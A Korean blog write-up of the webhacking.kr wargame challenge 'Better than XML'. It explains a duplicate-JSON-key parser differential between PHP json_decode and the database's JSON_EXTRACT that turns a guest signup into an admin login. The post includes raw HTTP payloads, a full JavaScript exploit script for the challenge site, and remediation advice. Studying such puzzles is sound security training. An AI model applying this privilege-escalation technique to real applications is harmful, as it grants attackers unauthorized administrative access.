Webhacking.kr Better than XML 풀이
Better than XML
회원가입 단계에서는 PHP의 json_decode()가 마지막 role 값을 검사한다. 반면 로그인 단계의 데이터베이스 JSON 조회는 문제 환경에서 먼저 등장한 role 값을 사용한다. 따라서 admin을 먼저, guest를 나중에 배치하면 가입 검증은 통과하면서 로그인 세션에는 admin 권한이 저장된다.
PHP check last value → guest
join validation passed
DB lookup first value → admin
session role=admin
result solve(80)
1. 문제 개요
1 기본 정보
- 플랫폼: webhacking.kr
- 문제명: Better than XML
- 유형: Web / JSON Parser Differential
- 난이도: ★☆☆☆☆
2 목표
회원가입 JSON 본문에 동일한 role 키를 두 번 넣어 가입 검증에서는 guest로, 로그인 조회에서는 admin으로 해석되게 만든다.
https://webhacking.kr/challenge/new-17/
2. 전체 기능 구조
페이지는 크게 로그아웃, 로그인 상태 확인, 회원가입, 로그인 네 가지 흐름으로 나뉜다.

회원가입, 로그인, 관리자 판정 로직이 포함된 전체 PHP 소스 코드.
| 기능 | 조건 | 처리 내용 |
|---|---|---|
| 로그아웃 | page=logout | 현재 세션을 삭제하고 메인 페이지로 이동 |
| 로그인 상태 확인 | 세션에 사용자 ID 존재 | 세션 role이 admin이면 solve(80) 실행 |
| 회원가입 | page=join_ | Raw POST Body를 JSON으로 검증한 뒤 원문 그대로 DB에 저장 |
| 로그인 | page=login_ | DB의 JSON 값에서 ID, PW, role을 추출해 세션 생성 |
3. 관리자 판정 로직
if ($_SESSION['better_than_xml_id']) {
echo "Hello {$_SESSION['better_than_xml_id']}!<hr>";
if ($_SESSION['better_than_xml_role'] === "admin") {
mysqli_query($db, "DELETE FROM challn17");
unset($_SESSION['better_than_xml_role']);
unset($_SESSION['better_than_xml_id']);
solve(80);
}
}
로그인 이후 세션의 better_than_xml_role 값이 문자열 admin과 정확히 일치하면 문제가 해결된다. 따라서 최종 목표는 로그인 과정에서 DB가 role을 admin으로 반환하도록 만드는 것이다.
4. 회원가입 로직 분석
if ($_GET['page'] == "join_") {
$userInput = file_get_contents("php://input");
$json = json_decode($userInput, true);
foreach ($json as $key => $value) {
if (
($key !== "userid") &&
($key !== "userpw") &&
($key !== "role")
) {
exit("invalid input");
}
if (gettype($value) != "string") {
exit("no hack ~_~");
}
}
if (strlen($json['userid']) < 5) exit("too short id");
if (strlen($json['userpw']) < 5) exit("too short pw");
if ($json['role'] !== "guest") exit("no hack ~_~");
$stmt = $db->prepare("INSERT INTO challn17 values(?)");
$stmt->bind_param("s", $userInput);
$stmt->execute();
echo "done";
exit;
}
i 검증 조건
- 허용되는 키는 userid, userpw, role뿐이다.
- 모든 값은 문자열이어야 한다.
- ID와 비밀번호는 각각 5자 이상이어야 한다.
- PHP가 해석한 role 값은 반드시 guest여야 한다.
5. 로그인 로직 분석
$query = "
SELECT
JSON_UNQUOTE(JSON_EXTRACT(data, '$.role')) AS role
FROM challn17
WHERE
JSON_UNQUOTE(JSON_EXTRACT(data, '$.userid')) = ?
AND
JSON_UNQUOTE(JSON_EXTRACT(data, '$.userpw')) = ?
";
$stmt = $db->prepare($query);
$stmt->bind_param("ss", $_POST['uid'], $_POST['upw']);
$stmt->execute();
$result = $stmt->get_result()->fetch_assoc();
if ($result['role']) {
$_SESSION['better_than_xml_id'] = $_POST['uid'];
$_SESSION['better_than_xml_role'] = $result['role'];
}
로그인 시에는 원본 JSON 문자열을 다시 PHP로 파싱하지 않는다. 데이터베이스의 JSON_EXTRACT()가 userid, userpw, role 값을 직접 추출한다.
6. 취약점: Duplicate JSON Key
정상적인 회원가입 JSON은 다음과 같다.
{
"userid": "student01",
"userpw": "securepw01",
"role": "guest"
}
공격에서는 role 키를 두 번 넣는다. 반드시 admin을 먼저, guest를 나중에 배치한다.
{
"userid": "student01",
"userpw": "securepw01",
"role": "admin",
"role": "guest"
}
| 처리 단계 | 선택되는 role | 결과 |
|---|---|---|
| PHP json_decode() | 뒤에 있는 guest | 회원가입 검증 통과 |
| 문제 DB의 JSON_EXTRACT() | 앞에 있는 admin | 로그인 세션에 admin 저장 |
7. 공격 흐름
중복 role 작성
PHP는 guest 선택
가입 검증 통과
원문 JSON 저장
DB는 admin 선택
관리자 세션 생성
1. 회원가입 요청을 가로챈다.
2. Raw JSON 본문에 role 키를 두 번 작성한다.
3. 첫 번째 role은 admin, 두 번째 role은 guest로 지정한다.
4. PHP json_decode()는 마지막 guest를 사용해 검증을 통과한다.
5. 서버는 중복 키가 포함된 원본 JSON 문자열을 DB에 저장한다.
6. 로그인 요청을 보낸다.
7. DB JSON_EXTRACT()가 첫 번째 role인 admin을 반환한다.
8. 세션의 role이 admin으로 설정된다.
9. 메인 페이지에서 solve(80)이 실행된다.
8. Burp Suite로 회원가입 요청 수정하기
8.1 Proxy 설정
- Burp Suite를 실행하고 Proxy → Intercept로 이동한다.
- Intercept is on 상태인지 확인한다.
- Burp 내장 브라우저 또는 프록시가 설정된 브라우저로 문제 페이지에 접속한다.
- Join 페이지에서 5자 이상의 ID와 비밀번호를 입력한다.
- 회원가입 버튼을 눌러 요청을 Burp에서 가로챈다.
8.2 Repeater에서 Raw Body 수정
요청 경로가 ?page=join_인지, Content-Type이 JSON인지 확인한 뒤 본문을 다음과 같이 바꾼다.
POST /challenge/new-17/?page=join_ HTTP/2
Host: webhacking.kr
Cookie: PHPSESSID=YOUR_SESSION_ID
Content-Type: application/json
{
"userid": "student01",
"userpw": "securepw01",
"role": "admin",
"role": "guest"
}
- userid와 userpw는 각각 5자 이상으로 설정한다.
- role":"admin"을 먼저 작성한다.
- role":"guest"를 마지막에 작성한다.
- Burp가 Content-Length를 자동으로 다시 계산하므로 일반적으로 직접 수정할 필요는 없다.
- 요청을 전송했을 때 응답 본문이 done이면 가입에 성공한 것이다.
9. Burp Suite로 직접 요청 만들기
브라우저에서 요청을 가로채지 않고 Repeater에서 기존 요청을 복제해 직접 구성해도 된다. 로그인 세션을 유지하려면 현재 브라우저의 PHP 세션 쿠키를 함께 사용한다.
POST /challenge/new-17/?page=join_ HTTP/1.1
Host: webhacking.kr
Cookie: PHPSESSID=YOUR_SESSION_ID
Content-Type: application/json
Connection: close
{"userid":"student01","userpw":"securepw01","role":"admin","role":"guest"}
Burp Repeater의 Raw 편집 화면에 요청을 넣고 Send를 누른다. 서버 응답이 done이면 다음 단계로 진행한다.
10. 로그인 요청
회원가입에 사용한 ID와 비밀번호로 일반 로그인 폼을 사용한다. 로그인 요청은 JSON이 아니라 Form URL Encoded 형식이다.
POST /challenge/new-17/?page=login_ HTTP/2
Host: webhacking.kr
Cookie: PHPSESSID=YOUR_SESSION_ID
Content-Type: application/x-www-form-urlencoded
uid=student01&upw=securepw01
로그인 쿼리에서 DB가 첫 번째 role 값인 admin을 반환하면, 세션의 better_than_xml_role에 admin이 저장된다. 이후 메인 페이지로 이동하면서 관리자 조건이 만족된다.
11. 최종 Payload
(async () => {
const userid = `user${Date.now()}`;
const userpw = `pass${Date.now()}`;
// 중복 role 키를 유지하기 위해 객체가 아닌 원문 문자열 사용
const rawBody =
`{"userid":"${userid}","userpw":"${userpw}","role":"admin","role":"guest"}`;
// 1. 회원가입
const joinResponse = await fetch(
"https://webhacking.kr/challenge/new-17/?page=join_",
{
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/json"
},
body: rawBody
}
);
const joinText = await joinResponse.text();
console.log("[JOIN STATUS]", joinResponse.status);
console.log("[JOIN RESULT]", joinText);
console.log("[ACCOUNT]", userid, userpw);
if (!joinText.includes("done")) {
console.error("회원가입 실패. 응답:", joinText);
return;
}
// 2. 로그인
const loginResponse = await fetch(
"https://webhacking.kr/challenge/new-17/?page=login_",
{
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: new URLSearchParams({
uid: userid,
upw: userpw
})
}
);
const loginText = await loginResponse.text();
console.log("[LOGIN STATUS]", loginResponse.status);
console.log("[LOGIN RESULT]", loginText);
// fetch는 응답 안의 <script>를 실행하지 않으므로 직접 메인 페이지 이동
location.href = "https://webhacking.kr/challenge/new-17/";
})();
핵심 조건: admin이 먼저, guest가 마지막
12. 요청이 실패할 때 확인할 부분
| 응답 또는 증상 | 원인 | 확인 방법 |
|---|---|---|
| too short id | ID가 5자 미만 | 5자 이상의 새로운 ID 사용 |
| too short pw | 비밀번호가 5자 미만 | 5자 이상의 비밀번호 사용 |
| no hack ~_~ | 마지막 role이 guest가 아니거나 값 타입이 문자열이 아님 | 마지막에 정확히 "role":"guest" 배치 |
| invalid input | 허용되지 않은 추가 키 존재 | userid, userpw, role만 사용 |
| login failed.. | ID/PW 불일치 또는 가입 요청 실패 | Join 응답이 done인지 확인하고 동일한 자격 증명 사용 |
| guest로 로그인됨 | role 순서가 반대이거나 중복 키가 제거됨 | Raw Body에서 admin → guest 순서를 확인 |
13. 취약점 분류
| 분류 | 설명 |
|---|---|
| Duplicate JSON Key | 하나의 JSON 객체에 동일한 이름의 키를 두 번 삽입 |
| Parser Differential | PHP와 DB JSON 파서가 중복 키를 서로 다르게 선택 |
| Validation / Use Inconsistency | 검증에 사용한 값과 로그인에서 사용하는 값이 달라짐 |
| Privilege Escalation | guest 가입 검증을 통과하면서 admin 세션 획득 |
14. 대응 방안
- JSON 파싱 전에 중복 키가 존재하는 요청을 거부한다.
- 검증한 PHP 배열을 다시 직렬화해 저장하고 원본 Raw Body를 그대로 보관하지 않는다.
- role처럼 권한과 관련된 필드는 클라이언트 입력으로 받지 않는다.
- 회원가입 시 서버가 role을 강제로 guest로 지정한다.
- JSON 문서 전체를 한 컬럼에 저장하기보다 ID, 비밀번호 해시, 권한을 명시적인 DB 컬럼으로 분리한다.
- 검증과 사용 단계에서 동일한 파서와 동일한 데이터 표현을 사용한다.
- 비밀번호는 평문 JSON으로 저장하지 않고 안전한 비밀번호 해시 함수로 처리한다.
// 안전한 방향의 예시
$decoded = json_decode($userInput, true, 512, JSON_THROW_ON_ERROR);
$userid = $decoded['userid'] ?? '';
$userpw = $decoded['userpw'] ?? '';
if (strlen($userid) < 5 || strlen($userpw) < 5) {
exit('invalid input');
}
// role은 사용자 요청에서 가져오지 않는다.
$role = 'guest';
// 명시적인 컬럼과 비밀번호 해시 사용
$passwordHash = password_hash($userpw, PASSWORD_DEFAULT);
'Wargame > WebHacking.kr' 카테고리의 다른 글
| Webhacking.kr Old-44 Revenge (0) | 2026.06.20 |
|---|---|
| webhacking.kr Old-25 RevengE (0) | 2026.06.20 |
| webhacking.kr child toctou (0) | 2026.06.20 |
| webhacking.kr CHILD 풀이 (0) | 2026.06.20 |
| Webhacking.kr baby toctou 풀이 (0) | 2026.06.20 |
LACiA
WriterReishia 님의 블로그 입니다.